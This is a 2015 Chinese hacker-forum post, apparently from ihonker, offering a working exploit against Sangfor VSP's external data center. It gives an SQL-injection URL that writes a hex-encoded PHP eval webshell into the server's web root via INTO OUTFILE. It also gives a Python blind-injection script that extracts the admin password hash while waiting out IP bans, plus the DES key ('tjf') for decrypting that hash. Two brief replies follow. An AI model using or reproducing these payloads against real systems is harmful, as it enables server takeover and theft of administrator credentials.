查看: 11533|回复: 2

深信服VSP外置数据中心getshell

[复制链接]
匿名
匿名  发表于 2015-1-26 11:04:35 |阅读模式
来源:f4ckbaidu

一、getshell:
[AppleScript] 纯文本查看 复制代码
<code>http://localhost/src/login.php?action_c=login&user_type=1&user=admin&pass=admin&nodeid=1 and 1=2 union select 0x3c3f70687020406576616c28245f504f53545b277362275d293b3f3e into outfile 'D:\\Program Files\\Sangfor\\SSL\\LogKeeper\\htdocs\\test.php'</code>


二、注入获取管理员密码
python
[AppleScript] 纯文本查看 复制代码
<code># encoding:utf-8
 
import requests
import sys
import time
 
if len(sys.argv)<2 :
print "useage: test.py target\r"
print "example: python test.py [url]http://192.168.222.128/[/url]"
sys.exit(0)
 
target = sys.argv[1]
 
def exploit(url,pointer) :
password = ""
list = ["a","b","c","d","e","f","0","1","2","3","4","5","6","7","8","9"]
while pointer < 17 :
flag = False
index = 0
while (index < len(list)) :
sql = "and (select mid(sys_adt_pass,%d,1) from sys_adt where id=1)=\"%s\"" % (pointer+1,list[index])
response = requests.get(url+"src/login.php?action_c=login&user_type=1&user=admin&pass=&nodeid=1 "+sql,timeout=10,verify=False)
 
if "拒绝登录" in response.content : #IP被封锁时,延迟305秒
print "login failure exceeded 5 times,ip is banned,wait for 305 seconds to continue"
time.sleep(305)
elif "用户名或者密码不正确" in response.content :
print "password[%d]=%s" % (pointer,list[index])
password += list[index]
break
elif "连接数据库失败" in response.content :
index += 1
else :
print "error,exit!"
sys.exit(0)
 
pointer += 1
print("Admin's password is %s") % (password)
 
exploit(target,0)
 
print "done!"</code>


运行效果:
QQ截图20150126110358.jpg
打开这个网站去解密http://des.online-domain-tools.com/
去掉密码最后一位,key为tjf,点击decrypt就能得到明文密码
回复

使用道具 举报

发表于 2015-1-26 14:30:24 | 显示全部楼层
牛叉,赶紧补洞去
回复 支持 反对

使用道具 举报

发表于 2015-1-27 15:45:43 | 显示全部楼层
看见匿名了!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-9 07:58 , Processed in 0.023497 second(s), 14 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部